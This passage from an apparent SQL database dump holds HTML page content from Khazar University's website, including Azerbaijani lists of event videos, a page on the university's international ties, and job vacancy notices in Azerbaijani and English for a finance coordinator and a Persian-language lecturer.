style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7464/The-Assembly-of-Science-and-Art-Abu-Hamid-al-Ghazali:-History-and-Today/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və sənət məclisi. Əbu Həmid əl-Qəzalı: Tarix və Bu gün (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7466/The-Assembly-of-Science-and-Art-Jamil-Hasanly:-Soviet-America-Confrontation/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və sənət məclisi-Cəmil Həsənli: Sovet Amerika qarşıdurması (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7468/Final-Show-of-Khazar-Universitys-Got-Talent/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">“Khazar University’s Got Talent”-ın final şousu (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7469/Presentation-of-the-book-%D0%95%D1%81%D0%B5%D0%BD%D0%B8%D0%BD-%D0%B2-%D0%91%D0%B0%D0%BAu/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">\"Есенин в Баку\" kitabının prezentasiyası (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7470/Face-to-face-with-Arif-Melikov/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Arif Melikov ilə üz-üzə (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7471/BMA-Youth-Chamber-Orchestra-Concert/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Bakı Musiqi Akademiyasının Gənclər Kamera Orkestrinin konserti (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7472/Assembly-of-Science-and-Art:-Sumerian-is-the-most-ancient-culture-of-civilization/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və Sənət Məclisi: Şumer bəşəriyyətinin ən qədim mədəniyyətidir (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7473/National-poet-of-Azerbaijan-Ahmad-Javad-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Azərbaycanın İstiqlal şairi Əhməd Cavad - Xəzər Universiteti (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7474/Prof-Hamlet-Isaxanlis-meeting-with-Georgian-intellectuals/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Prof. Hamlet İsaxanlının Gürcüstan ziyalıları ilə görüşü (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7475/Anniversary-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər Universitetində Üzeyir Hacıbəyovun 120 illiyinə həsr olunmuşn konsert proqramı (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7476/India-day-in-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər Universitetində hind günü(Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7477/Khazar-Review-Magazine/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər-Xəbər jurnalı N:300 – Xəzər Universiteti(Videolar)</a></p></div><p><br></p><p><br></p><p><br></p>'),(786,542,'az',' Xəzər və dünya',' Xəzər və dünya','<div><p>Yarandığı gündən etibarən geniş&nbsp;beynəlxalq əlaqələr qurmaq Xəzər universitetinin inkişaf strategiyasının əsas istiqamətlərindən biri olmuşdur. Universitetin beynəlxalq əlaqələri əsasən aşağıdakı istiqamətlərdə həyata keçirilir:<br></p><ul><li>Dünyanın nüfuzlu ali məktəbləri, elmi mərkəzləri ilə əməkdaşlıq</li><li>Tanınmış xarici universitetlərlə tələbə və müəllim mübadiləsi</li><li>Beynəlxalq layihə və qrantlar</li><li>Müxtəlif beynəlxalq konsersiumlarla əməkdaşlıq</li><li>Beynəlxalq elm və təhsil sərgilərində iştirak</li><li>Xarici ölkə səfirlikləri, beynəlxalq təşkilat və xarici şirkətlərlə əlaqələr</li><li>Əcnəbi tələbə və mütəxəssislərin cəlb olunması</li><li>Fakültə, institut, şöbə və fərdi səviyyələrdə beynəlxalq əməkdaşlıq</li><li>Beynəlxalq konfranslar və müxtılif elmi məclislərdə iştirak</li></ul>&nbsp;Həyata keçirilən bu və digər əməkdaşlıq əlaqələri xarici tələbə və müəllimlərin cəlb edilməsini, Xəzərin Azərbaycanda və beynəlxalq aləmdə geniş nüfuzunu, ümumilikdə universitetdə təhsilin keyfiyyətinin&nbsp; artırılmasını təmin edir.ABŞ, Cənubi Koreya, Türkiyə və Yaponiya kimi ölkələrin səfirlikləri&nbsp; xarici müəllimlərin işə cəlb olunmasında və digər çoxsaylı əlaqələrin qurulmasında öz ölkələrində tərəfdaş axtarışında universitetə köməklik etməklə yanaşı, qrantlar şərçivəsində müəyyən mərkəzlərin işini maliyyələşdirir, Universitetin müxtəlif avadanlıqlarla təmin olunmasına da kömək edirlər. Səfirliklərlə yanaşı Xəzər Universitetinin müxtəlif avadanlıqların təmin olunmasında köməklik edən beynəlxalq təşkilat və şirkətlər də vardır. Xəzər Universitetində öz kitabxanasını yerləşdirən Qafqaz-Beynəlxalq Ekoloji Epidemiologiya Cəmiyyəti, Xəzər Universitetinin kitabxanasına yardım edən Türkiyənin&nbsp; Ankara şəhərində yerləşən Yaxın Şərq Universiteti, Siyasi Elmlər departamentinin auditoriyasını avadanlıqla təchiz edən Türk \"Sonmes Kilichli Punto\" şirkəti belələrindəndir.<br><a href=\"http://www.khazar.org/files/image/Xezer_Universitesi_dunyan%C4%B1n_gozu_ile.pdf\">Xezer&nbsp;Universitesi&nbsp;dunyanın&nbsp;gozu&nbsp;ile</a><div><br></div><br></div>'),(788,543,'az',' Videolar',' Videolar','<div><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7461/Hamlet-Isaxanlis-Meeting-with-Educational-Workers-of-Sumgayit/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Hamlet İsaxanlının Sumqayıt təhsil işçiləri ilə görüşü (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7462/Korea-Exhibition-at-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər universitetində Koreya Sərgisi (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7463/Sevil--The-Opera/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Sevil operası (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7464/The-Assembly-of-Science-and-Art-Abu-Hamid-al-Ghazali:-History-and-Today/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və sənət məclisi. Əbu Həmid əl-Qəzalı: Tarix və Bu gün (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7466/The-Assembly-of-Science-and-Art-Jamil-Hasanly:-Soviet-America-Confrontation/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və sənət məclisi-Cəmil Həsənli: Sovet Amerika qarşıdurması (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7468/Final-Show-of-Khazar-Universitys-Got-Talent/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">“Khazar University’s Got Talent”-ın final şousu (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7469/Presentation-of-the-book-%D0%95%D1%81%D0%B5%D0%BD%D0%B8%D0%BD-%D0%B2-%D0%91%D0%B0%D0%BAu/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">\"Есенин в Баку\" kitabının prezentasiyası (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7470/Face-to-face-with-Arif-Melikov/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Arif Melikov ilə üz-üzə (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7471/BMA-Youth-Chamber-Orchestra-Concert/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Bakı Musiqi Akademiyasının Gənclər Kamera Orkestrinin konserti (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7472/Assembly-of-Science-and-Art:-Sumerian-is-the-most-ancient-culture-of-civilization/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Elm və Sənət Məclisi: Şumer bəşəriyyətinin ən qədim mədəniyyətidir (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7473/National-poet-of-Azerbaijan-Ahmad-Javad-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Azərbaycanın İstiqlal şairi Əhməd Cavad - Xəzər Universiteti (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7474/Prof-Hamlet-Isaxanlis-meeting-with-Georgian-intellectuals/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Prof. Hamlet İsaxanlının Gürcüstan ziyalıları ilə görüşü (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7475/Anniversary-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər Universitetində Üzeyir Hacıbəyovun 120 illiyinə həsr olunmuşn konsert proqramı (Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7476/India-day-in-Khazar-University/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər Universitetində hind günü(Videolar)</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.khazar.org/v7477/Khazar-Review-Magazine/az\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">Xəzər-Xəbər jurnalı N:300 – Xəzər Universiteti(Videolar)</a></p></div>'),(789,541,'az','Vakansiyalar','Vakansiyalar','<br><h3><strong>İqtisadiyyat və Menecment Departamenti-&nbsp;</strong><strong>Maliyyə Bölməsinin Koordinatoru</strong></h3><div><h4><strong>İş barədə məlumat</strong></h4><ul style=\"margin:0px;padding:0px;list-style:none;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><li style=\"margin:0px;padding:0px;list-style:disc\">Təhsil proqramlarının və iş sxemlərinin, o cümlədən departament sənədlərinin hazırlanmasında departament müdirinə kömək etmək.</li></ul><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Departamentin ixtisas sahələri ilə bağlı fəaliyyətlərin və tədbirlərin planlaşdırılması və həyata keçirilməsində departament müdirinə kömək etmək.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Müxtəlif təhsil proqramları ilə bağlı məlumat toplamaq və ilkin təhlil etmək.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Bakalavr və magistr proqramlarında maliyyə fənlərini tədris etmək.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Müəllimlər ilə ünsiyyət saxlamaq və fənn üzrə işçi tədris proqramlarını toplamaq.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Departamentdə yerinə yetirilən elmi-tədqiqat işlərində iştirak etmək və tədqiqat işlərinin nəticələrini nüfuzlu elmi jurnallarda dərc etmək.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Departament müdiri tərəfindən tapşırılan vəzifələri yerinə yetirməklə departamentin ümumi idarə olunmasına kömək etmək.</p><h4><strong>Tələblər</strong></h4><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Maliyyə/Mühasibat sahəsi üzrə fəlsəfə doktoru dərəcəsi (və yaxud bitirmək üzrə).</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Əla səviyyədə ingilis dili (danışıq və yazılı).</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Yaxşı kompyuter bacarıqları (o cümlədən, məlumat bazasını idarə etmə bacarığı).</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Yaxşı şifahi və yazılı ünsiyyət qurmaq və səmərəli işləmək bacarıqları.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Sərbəst şəkildə işləmək və təşəbbüs göstərmək bacarığı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Müsbət düşüncəyə və ozünü motivasiya etmək xüsusiyyətinə malik olmaq.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Vaxt və stress idarəetmə bacarığı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp; Kolleqiallıq: güclü iş əlaqələri və müsbət iş mühiti yarada bilmək bacarığı, hörmətcil, komandada işləmə bacarığı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">İşə başlama tarixi: 2016-cı ilin sebtyabr ayı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Müsabiqədə iştirak etmək üçün maraqlanan namizədlərdən tərcümeyi-hal, rəy (rəy verən 3 şəxsin əlaqə məlumatları) və motivasiya məktublarını İqtisadiyyat və Menecment Departamentinin müdiri Dr. Ceyhun Məmmədova göndərmələri xahiş olunur:&nbsp;<a href=\"mailto:jmammadov@khazar.org\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">jmammadov@khazar.org</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><h3><span style=\"font-size:medium\"><span style=\"color:#9800cc\"><strong>Fars dili müəllimi üzrə dosent vəzifəsi vakansiyası</strong></span><strong>&nbsp;</strong></span></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Xəzər Universiteti Dillər və mədəniyyətlər kafedrası fars dili müəllimi üzrə dosent vəzifəsi vakansiyası (1 yer) üçün müsabiqə&nbsp;<strong>elan</strong>&nbsp;olunur. Müsabiqə daxili namizədlər üçün nəzərdə tutulmuşdur.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Müsabiqədə iştirak etmək üçün aşağıdakı şərtlər tələb olunur:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–İxtisas üzrə fəlsəfə doktoru elmi adı;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–İxtisas üzrə 5 il pedaqoji staj;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–Elmi tədqiqat bacarığı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Müsabiqədə iştirak etmək üçün sənədlər Azərbaycan Respublikası Təhsil Nazirliyinin 07.08.1996-cı il tarixli 401 saylı əmri ilə təsdiq edilmiş “Ali təhsil müəssisələrində professor-müəllim vəzifələrinin tutulması qaydaları haqqında” əsasnaməyə uyğun olaraq elan olunduğu gündən başlayaraq, 30 gün müddətində Xəzər Universiteti “Neftçilər” kampusunda &nbsp;(506-cı otaqda) qəbul edilir.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Tələb olunan sənədlər:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–Şəxsiyyət vəsiqəsi;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–Diplomların surəti;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">–Elmi əsərlərin siyahısı.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Əlavə məlumat üçün bu nömrələrlə əlaqə saxlamaq olar:</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Tel: +994 12 421 7916 (215);</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Fax: +994 12 498 93 79.</p><h4><strong>Sənədlərin qəbulu komissiyası</strong></h4></div><p><br></p>'),(790,541,'en','Jobs and Vacancies','Jobs and Vacancies','<div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><h3><strong>Vacancy for Finance Division Coordinator, Department of Economics and Management</strong></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Khazar University Department of Economics and Management announces a vacancy for Finance Division Coordinator.</p><h4><strong>Job Description</strong></h4><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To assist the Head of Department in the preparation of departmental documentation including programs of study and schemes of work.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To assist the Head of Department in the planning and implementation of subject related activities and events.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To collect and analyze preliminary information related to various programs of study.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To teach Finance courses at the undergraduate and master levels.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To communicate with teachers and collect syllabi.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To conduct academic research and publish in scholarly journals.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To help with the overall operation of the department by undertaking tasks as requested and directed by the Head of Department.</p><h4><strong>Qualifications</strong></h4><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A PhD degree (or close to completion) in Finance/Accounting.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Research potential and good teaching capabilities.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Excellent proficiency in spoken and written English.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good computer skills including database management.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good oral and written communication skills, and ability to work effectively.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discretion</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A bright and positive attitude, and self-motivation</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good time and stress management skills</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">●&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collegiality: respectful, approachable and team oriented, building strong working relationships and a positive work environment.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Preferable start of employment is September 2016.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Interested candidates are invited to send a Curriculum Vitae with names of three references and a letter of motivation by email to the Head of Department, Dr. Jeyhun Mammadov, at<a href=\"mailto:jmammadov@khazar.org\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">jmammadov@khazar.org</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 